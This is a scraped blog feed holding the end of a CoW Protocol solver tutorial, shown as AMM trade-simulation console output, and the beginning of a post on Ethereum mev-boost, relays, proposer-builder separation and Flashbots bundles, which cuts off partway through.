🟨   AMM exec sell amount: 289_073705673240477696
🟨   AMM exec buy amount: 561_904237334502880476
🟨   Updated sell reserve: 10289_073705673240477700
🟨   Updated buy reserve: 19438_095762665497119520
🟨   Market sell price 0.5293251886038823
🟨   Market buy price 1.8891978343927718
🟨   Can fill: True
🐮 SECOND LEG trade overview:
🐮 ➖ sell 561_904237334502880476 of B1
🐮 ➕ buy some amount of C
🟨   Prior sell reserve: 23000_000000000000000000
🟨   Prior buy reserve: 15000_000000000000000000
🟨   Spot sell price 1.5333333333333334
🟨   Spot buy price 0.6521739130434783
🟨   AMM exec sell amount: 561_904237334502880476
🟨   AMM exec buy amount: 357_719965038404924081
🟨   Updated sell reserve: 23561_904237334502880480
🟨   Updated buy reserve: 14642_280034961595075920
🟨   Market sell price 1.609169076200932
🟨   Market buy price 0.6214387380354636
🟨   Can fill: True
🐮 FIRST LEG trade overview:
🐮 ➖ sell 710_926294326759522304 of A
🐮 ➕ buy some amount of B3
🟨   Prior sell reserve: 12000_000000000000000000
🟨   Prior buy reserve: 12000_000000000000000000
🟨   Spot sell price 1.0
🟨   Spot buy price 1.0
🟨   AMM exec sell amount: 710_926294326759522304
🟨   AMM exec buy amount: 671_163952522389243203
🟨   Updated sell reserve: 12710_926294326759522300
🟨   Updated buy reserve: 11328_836047477610756800
🟨   Market sell price 1.1219975504153292
🟨   Market buy price 0.8912675429904732
🟨   Can fill: True
🐮 SECOND LEG trade overview:
🐮 ➖ sell 671_163952522389243203 of B3
🐮 ➕ buy some amount of C
🟨   Prior sell reserve: 10000_000000000000000000
🟨   Prior buy reserve: 15000_000000000000000000
🟨   Spot sell price 0.6666666666666666
🟨   Spot buy price 1.5
🟨   AMM exec sell amount: 671_163952522389243203
🟨   AMM exec buy amount: 943_426540218806186671
🟨   Updated sell reserve: 10671_163952522389243200
🟨   Updated buy reserve: 14056_573459781193813330
🟨   Market sell price 0.7591582673440884
🟨   Market buy price 1.317248382868167
🟨   Can fill: True
🐮 TOTAL SURPLUS: 401_146505257211110752
🐮 Results saved at solutions/solution_3_cowsol.json.
"><code><span class="hljs-string">🐮</span> <span class="hljs-string">Solving</span> <span class="hljs-string">orders/instance_3.json.</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Order</span> <span class="hljs-number">0</span> <span class="hljs-string">is</span> <span class="hljs-string">a</span> <span class="hljs-string">sell</span> <span class="hljs-string">order.</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Using</span> <span class="hljs-string">the</span> <span class="hljs-string">best</span> <span class="hljs-string">two</span> <span class="hljs-string">execution</span> <span class="hljs-string">simulations</span> <span class="hljs-string">by</span> <span class="hljs-string">surplus</span> <span class="hljs-string">yield.</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">FIRST LEG trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">289_073705673240477696</span> <span class="hljs-string">of</span> <span class="hljs-string">A</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">some</span> <span class="hljs-string">amount</span> <span class="hljs-string">of</span> <span class="hljs-string">B1</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">20000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">0.5</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">2.0</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">289_073705673240477696</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">561_904237334502880476</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">10289_073705673240477700</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">19438_095762665497119520</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">0.5293251886038823</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">1.8891978343927718</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">SECOND LEG trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">561_904237334502880476</span> <span class="hljs-string">of</span> <span class="hljs-string">B1</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">some</span> <span class="hljs-string">amount</span> <span class="hljs-string">of</span> <span class="hljs-string">C</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">23000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">15000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.5333333333333334</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">0.6521739130434783</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">561_904237334502880476</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">357_719965038404924081</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">23561_904237334502880480</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">14642_280034961595075920</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.609169076200932</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">0.6214387380354636</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">FIRST LEG trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">710_926294326759522304</span> <span class="hljs-string">of</span> <span class="hljs-string">A</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">some</span> <span class="hljs-string">amount</span> <span class="hljs-string">of</span> <span class="hljs-string">B3</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">12000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">12000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.0</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">1.0</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">710_926294326759522304</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">671_163952522389243203</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">12710_926294326759522300</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">11328_836047477610756800</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">1.1219975504153292</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">0.8912675429904732</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">SECOND LEG trade overview:</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➖</span> <span class="hljs-string">sell</span> <span class="hljs-string">671_163952522389243203</span> <span class="hljs-string">of</span> <span class="hljs-string">B3</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">➕</span> <span class="hljs-string">buy</span> <span class="hljs-string">some</span> <span class="hljs-string">amount</span> <span class="hljs-string">of</span> <span class="hljs-string">C</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior sell reserve:</span> <span class="hljs-string">10000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Prior buy reserve:</span> <span class="hljs-string">15000_000000000000000000</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">0.6666666666666666</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Spot</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">1.5</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec sell amount:</span> <span class="hljs-string">671_163952522389243203</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">AMM exec buy amount:</span> <span class="hljs-string">943_426540218806186671</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated sell reserve:</span> <span class="hljs-string">10671_163952522389243200</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Updated buy reserve:</span> <span class="hljs-string">14056_573459781193813330</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">sell</span> <span class="hljs-string">price</span> <span class="hljs-number">0.7591582673440884</span>
<span class="hljs-string">🟨</span>   <span class="hljs-string">Market</span> <span class="hljs-string">buy</span> <span class="hljs-string">price</span> <span class="hljs-number">1.317248382868167</span>
<span class="hljs-string">🟨</span>   <span class="hljs-attr">Can fill:</span> <span class="hljs-literal">True</span>
<span class="hljs-string">🐮</span> <span class="hljs-attr">TOTAL SURPLUS:</span> <span class="hljs-string">401_146505257211110752</span>
<span class="hljs-string">🐮</span> <span class="hljs-string">Results</span> <span class="hljs-string">saved</span> <span class="hljs-string">at</span> <span class="hljs-string">solutions/solution_3_cowsol.json.</span>
</code></pre><hr><h2 id="h-piece-5-asymptotic-protopia" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🐮🧩 piece #5: asymptotic protopia</h2><p>cow protocol uses a fair and decentralized settlement through solvers. and solvers can be anyone who is able to solve the batch auction optimization problem the best.</p><p>in this post, i walked you through a poc for a simple solver bot to get started on the game. of course, things can get very complicated (but fun). for instance, you might want to add things such as support for concurrency, support for more than two pool reserves on two-legged trades, support for more than two legs (through, for example, bellman-ford algorithm), support for specific tokens and reserves (balancer’s weighted pools, uniswap v3, and forks, stable pools, private pools, external dexes, etc.), or whatever else your mind can create. find more solver documentation <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.cow.fi/tutorials/how-to-write-a-solver">here</a>.</p><p>ah, by the way, cow dao (the open organization of developers, traders, and market makers focused on fair and decentralized trading through the cow protocol) has several <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://grants.cow.fi/overview">grants</a> available for builders (including building solvers). they also <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/cowprotocol/solver-template-py">open-sourced a solver template</a> that can connect to the driver and place real orders.</p><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/ce959e1d38da233103a0dd44ef41d6cca6646a1588d3b1b525753c427c5fb12d.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[on mev-boost, relays, self-sovereignty]]></title>
            <link>https://paragraph.com/@go-outside/on-mev-boost-relays-self-sovereignty</link>
            <guid>fLrvwunTQJSC4YurWPSX</guid>
            <pubDate>Wed, 19 Oct 2022 10:24:26 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over ethereum post-merge architectural changes, how to integrate mev-boost, and the PBS && relays discussion.🎶 today’s soundtrackhttps://open.spotify.com/track/1ncrjr3qFEGCZcYJ5ikSD2?si=2bcc8abc487b46f1🧩 0: mev*the concept of maximal extractable value (mev) was coined by the 2019 research paper flashboys 2.0, and encompasses the profits generated by participant parties when producing new blocks on a blockchain.*since the ethereum blockchain doesn&apos;t enforce rules on the...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over ethereum post-merge architectural changes, how to integrate <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-boost">mev-boost</a>, and the PBS &amp;&amp; relays discussion.</p><hr><h2 id="h-todays-soundtrack" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s soundtrack</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/1ncrjr3qFEGCZcYJ5ikSD2?si=2bcc8abc487b46f1">https://open.spotify.com/track/1ncrjr3qFEGCZcYJ5ikSD2?si=2bcc8abc487b46f1</a></p><hr><h2 id="h-0-mev" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 0: mev</h2><blockquote><p>*the concept of maximal extractable value (mev) was coined by the 2019 research paper <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://arxiv.org/abs/1904.05234"><strong>flashboys 2.0</strong></a>, and encompasses the profits generated by participant parties when producing new blocks on a blockchain.*</p></blockquote><p>since the ethereum blockchain doesn&apos;t enforce rules on the contents or ordering of a block, block producers can arbitrarily include, exclude, or re-order <strong>transactions (txs)</strong> however they want.</p><p>re-ordering txs based on the fees that senders are keen to pay (and the consequent profit generated from it) is now a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://explore.flashbots.net/"><strong>multi-million dollar industry</strong></a>.</p><p>you can learn more about the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://writings.flashbots.net/writings/mev-supply-chain/"><strong>mev supply chain dys/u-topia here</strong></a>.</p><blockquote><p>💡 <strong>THE MEMPOOL</strong></p><p>“<em>every second, hundreds of new transactions appear in the public mempool”</em></p><p>the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/MEV-WAIFU-LABS/mev_toolkit/blob/main/MEV_on_Ethereum/MEMPOOL.md">mempool</a> is the ethereum memory pool, where pending new txs wait to be confirmed, <em>i.e.,</em> validated and included into new blocks.</p><p>ethereum has a public mempool and many private mempool spaces (such as the ones provided by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.flashbots.net/flashbots-auction/overview"><strong>flashbot’s protect</strong></a> or <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://rook.fi/"><strong>rook’s coordinator</strong></a>).</p><p>this means that nodes and associated entities are entitled to configure their own rules for their mempool by allowing private (exclusive) order flow to txs to be included in blocks, while not visible in the public mempool.</p></blockquote><hr><h2 id="h-1-mev-boost" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 1: mev-boost</h2><blockquote><p><em>mev-boost is </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.paradigm.xyz/"><strong><em>paradigm’s</em></strong></a><em> </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.flashbots.net/"><strong><em>flahsbots</em></strong></a><strong><em>&apos;</em></strong><em> open-source middleware for post-merge ethereum validators, allowing them access to a block-building free market, as an interim solution to implement the proposer builder separation (pbs) paradigm while it&apos;s not in-protocol.</em></p></blockquote><p>remember from my previous posts that in our current proof-of-work ethereum, nodes must run three pieces of software: an execution client (<em>e.g.,</em> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://geth.ethereum.org/"><strong>geth</strong></a>) and a consensus client that is divided into a beacon client and a validator client (<em>e.g.</em>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/prysmaticlabs/prysm"><strong>prysm</strong></a>).</p><p>mev-boost implements the pbs new type of auction (the <strong>slot auction)</strong> by introducing an interim new route and communication channel in the block production pipeline: the <strong>relay</strong>.</p><p>relays facilitate an honest double-sided connection between builders and proposers.</p><p>when you add mev-boost to your node, it entitles your validator (the block proposer) to sell their <strong>blockspace</strong> to a new primitive, the <strong>block builders</strong>.</p><p>builders create <strong>blocks</strong> containing transactions (txs) order flows and optimizing for <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/mev/"><strong>mev extraction</strong></a> (consequently <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://writings.flashbots.net/writings/mev-boost-call-for-testing/"><strong>increasing your validator revenue for producing new blocks</strong></a>).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2f25cf48ba0ef265467b908a984214ebf3441480e06ce46d6acd34f5e77ab254.png" alt="order flow on current PoS ethereum" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">order flow on current PoS ethereum</figcaption></figure><p>it’s cool that flashbots created mev-boost, and it’s compatible with all the consensus clients. validators can now earn more from the blocks they propose. solo stakes are now on equal footing through relays.</p><h3 id="h-yet-the-fact-that-mev-boost-is-the-only-option-we-have-shows-how-green-and-somehow-concealed-this-space-is" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🫤 yet, the fact that mev-boost is the only option we have shows how green and somehow concealed this space is.</h3><p>at this point, without mev-boost, validators only have two alternatives:</p><ul><li><p>to get blocks from their execution client, restricted by only tx coming from the ethereum public mempool.</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum/builder-specs/blob/main/specs/validator.md#builder----honest-validator"><strong>implement their own builder,</strong></a> but also restricted to the public mempool.</p></li></ul><p>if we care about the self-sovereignty ideals brought by ethereum, we probably want to diversify <strong><em>all the things</em></strong> and move away from any <strong>herd mentality.</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/22e87840c10401c275721a3bb64bcce03b6f10ab3074afca45d8a24d98ae8005.png" alt="https://twitter.com/internMEV/status/1580689086742167553" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/internMEV/status/1580689086742167553</figcaption></figure><hr><h2 id="h-2-pbs" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 2: pbs</h2><blockquote><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://notes.ethereum.org/s3JToeApTx6CKLJt8AbhFQ#Hybrid-PBS-can-we-use-proposers-only-for-inclusion-of-last-resort"><strong><em>proposer builder separation (pbs)</em></strong></a> <em>is a proposal to the ethereum core protocol to mitigate centralization risks by mev extraction from vertically integrated block producers in a proof-of-stake world (i.e., parting from miners to validators), by introducing a free market for two entities: block builders and block proposers.</em></p></blockquote><p>in the pbs paradigm, block builders would produce complete blocks with a fee for the validator (the block proposer), which simply picks the ones with the highest fee. in the middle, a <em>trusting</em> relay guarantees integrity from both parties.</p><p>for instance, node operator groups connected to large staking pools (such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://lido.fi/"><strong>lido</strong></a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://rocketpool.net/"><strong>rocket</strong></a>, etc.) could be incentivized to hide the value of a block and keep the fees. however, with the competition brought by this new open market, this problem dissolves as block builders maximize their block bids and validators maximize their <strong>blockspace</strong> bids.</p><p>lastly, pbs is also a needed step for the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/upgrades/sharding/"><strong>ethereum sharding proposal</strong></a><strong>.</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/463945a2891c16d87ba0d499004326fc7aeb3ca67f263ecace475be225f6a560.png" alt="https://twitter.com/laurashin/status/1562116684357390336" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">https://twitter.com/laurashin/status/1562116684357390336</figcaption></figure><hr><h2 id="h-3-validators" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 3: validators</h2><blockquote><p><em>in the post-merge block open market, validators can outsource block building to specialized parties, fetching the most profitable blocks from in-between relays, and proposing their inclusion to the ethereum network.</em></p></blockquote><p>remember the drill for validators: for each of the 32 slots in an epoch, validators are <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/randao/randao"><strong>pseudo-randomly</strong></a> assigned to either propose blocks or attest those proposed by other validators.</p><p>with mev-boost, validators can opt between receiving and proposing a block from its execution client, OR receiving an <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum/consensus-specs/blob/a45ee9bf5b1fde766d69e551a6b1a21fe2531734/specs/merge/beacon-chain.md#executionpayload"><strong>execution payload</strong></a><strong> h</strong>eader from relays and <em>blindly</em> signing these escrowed txs.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8b48df548c5870ce83d5d305fe133d845741c58731c2ee8348d5de8c3af20024.png" alt="image from femboy.capital" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">image from femboy.capital</figcaption></figure><hr><h2 id="h-4-block-builders" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 4: block builders</h2><blockquote><p><em>block builders are providers that aggregate bundles and txs order flow (execution payloads) into block that are forwarded by relays to validators.</em></p></blockquote><p>ethereum.org has provided <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.github.io/builder-specs/#/Builder"><strong>the API specifications for external builder nodes</strong></a>, so validators can delegate block-building duties.</p><p>thus, block builders can now specialize: as they prepare full blocks they can optimize bundles for mev extraction and distribution (profitability is measured by: fee per gas used, priority fee, and validator payments).</p><blockquote><p>💡 <strong>BUNDLES</strong>:</p><p>bundles are one or more txs that are grouped together (batched) and executed atomically in the order they are provided.</p><p>they were introduced by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.flashbots.net/Flashbots-auction/overview/"><strong>flahsbots’ auctions</strong></a> as a message to a new RPC endpoint, <code>eth_sendBundle</code>, that includes a signed array tx and metadata.</p><p><strong><em>can you speak code?</em></strong></p><p>sure, here is an example in python for two txs, from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/mevwaifu.eth/rGyGGoOLek_pCoJVlSFSjjFL-b5_Mw_P5hC3giwUCtc"><strong>a previous post</strong></a><strong>:</strong></p><pre data-type="codeBlock" text="    tx1: TxParams = {
        &quot;to&quot;: receiverAddress,
        &quot;value&quot;: Web3.toWei(0.005, &quot;ether&quot;),
        &quot;gas&quot;: 21000,
        &quot;maxFeePerGas&quot;: Web3.toWei(300, &quot;gwei&quot;),
        &quot;maxPriorityFeePerGas&quot;: Web3.toWei(50, &quot;gwei&quot;),
        &quot;nonce&quot;: nonce,
        &quot;chainId&quot;: CHAIN_ID,
        &quot;type&quot;: 2,
    }
    tx2: TxParams = {
        &quot;to&quot;: receiverAddress,
        &quot;value&quot;: Web3.toWei(0.005, &quot;ether&quot;),
        &quot;gas&quot;: 21000,
        &quot;maxFeePerGas&quot;: Web3.toWei(300, &quot;gwei&quot;),
        &quot;maxPriorityFeePerGas&quot;: Web3.toWei(50, &quot;gwei&quot;),
        &quot;nonce&quot;: nonce + 1,
        &quot;chainId&quot;: CHAIN_ID,
        &quot;type&quot;: 2,
    }

    tx1_signed = sender.sign_transaction(tx1)
    bundle = [
        {&quot;signed_transaction&quot;: tx1_signed.rawTransaction},
        {&quot;signer&quot;: sender, &quot;transaction&quot;: tx2},
    ]
"><code>    tx1: TxParams <span class="hljs-operator">=</span> {
        <span class="hljs-string">"to"</span>: receiverAddress,
        <span class="hljs-string">"value"</span>: Web3.toWei(<span class="hljs-number">0</span><span class="hljs-number">.005</span>, <span class="hljs-string">"ether"</span>),
        <span class="hljs-string">"gas"</span>: <span class="hljs-number">21000</span>,
        <span class="hljs-string">"maxFeePerGas"</span>: Web3.toWei(<span class="hljs-number">300</span>, <span class="hljs-string">"gwei"</span>),
        <span class="hljs-string">"maxPriorityFeePerGas"</span>: Web3.toWei(<span class="hljs-number">50</span>, <span class="hljs-string">"gwei"</span>),
        <span class="hljs-string">"nonce"</span>: nonce,
        <span class="hljs-string">"chainId"</span>: CHAIN_ID,
        <span class="hljs-string">"type"</span>: <span class="hljs-number">2</span>,
    }
    tx2: TxParams <span class="hljs-operator">=</span> {
        <span class="hljs-string">"to"</span>: receiverAddress,
        <span class="hljs-string">"value"</span>: Web3.toWei(<span class="hljs-number">0</span><span class="hljs-number">.005</span>, <span class="hljs-string">"ether"</span>),
        <span class="hljs-string">"gas"</span>: <span class="hljs-number">21000</span>,
        <span class="hljs-string">"maxFeePerGas"</span>: Web3.toWei(<span class="hljs-number">300</span>, <span class="hljs-string">"gwei"</span>),
        <span class="hljs-string">"maxPriorityFeePerGas"</span>: Web3.toWei(<span class="hljs-number">50</span>, <span class="hljs-string">"gwei"</span>),
        <span class="hljs-string">"nonce"</span>: nonce <span class="hljs-operator">+</span> <span class="hljs-number">1</span>,
        <span class="hljs-string">"chainId"</span>: CHAIN_ID,
        <span class="hljs-string">"type"</span>: <span class="hljs-number">2</span>,
    }

    tx1_signed <span class="hljs-operator">=</span> sender.sign_transaction(tx1)
    bundle <span class="hljs-operator">=</span> [
        {<span class="hljs-string">"signed_transaction"</span>: tx1_signed.rawTransaction},
        {<span class="hljs-string">"signer"</span>: sender, <span class="hljs-string">"transaction"</span>: tx2},
    ]
</code></pre><p>and here is a cute <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://flashbots-explorer.marto.lol/">dashboard explorer for bundles</a>.</p></blockquote><hr><h2 id="h-5-the-pvp-bot-game" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🧩 5: the pvp bot game</h2><blockquote><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.flashbots.net/flashbots-auction/searchers/quick-start#how-does-flashbots-work-for-searchers"><em>searchers</em></a><em> (or </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.rook.fi/reference/for-beginners/what-is-a-keeper"><em>keepers</em></a><em> or </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.cow.fi/t/aligning-the-solver-competition-with-the-goals-of-the-cow-dao/1177"><em>solvers</em></a><em>) are bots managed by trading parties running sophisticated strategies to capture mev (such as front-running, tailgating, liquidation, or arbitrage).</em></p></blockquote><p>with mev-boost, mev bots need to optimize their strategies for two auctions:</p><ul><li><p><strong>blockspace auction:</strong> the competition for bundle inclusion within blocks that builders are proposing.</p></li><li><p><strong>slot auction</strong>: the competition for their block produced by their builders to be included on-chain.</p></li></ul><p>thus, mev bots need to make several choices when sending their bundles through mev-boost:</p><ul><li><p>choose block builders that are performant and trustworthy.</p></li><li><p>choose block builders with less searcher competition to reduce the chance of being outbid in the blockspace auction?</p></li><li><p>choose block builders that accept txs from profitable searchers, improving the chances of block inclusion to the chain (as the block might be more worthy from transaction fees and mev)?</p></li><li><p>bid for the blockspace auction AND the slot auction (via validator’s coinbase) to increase the chance that the block is included?</p></li><li><p>work with multiple builders as opposed to one?</p></li></ul><blockquote><p><strong>💡 THE VALIDATOR’S COINBASE:</strong></p><p>mev bots can pay validators for txs by triggering the coinbase <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethereum.org/en/developers/docs/evm/opcodes/"><strong>evm opcode</strong></a> <code>block.coinbase.transfer(amount)</code>.</p><p>to process their payment, builders either set their address as the payload&apos;s coinbase and append a tx to the validators’s <code>feeRecipient</code>, or set this field as the coinbase address of the payload.</p></blockquote><hr><h2 id="h-6-relays" class="text-3xl font-header 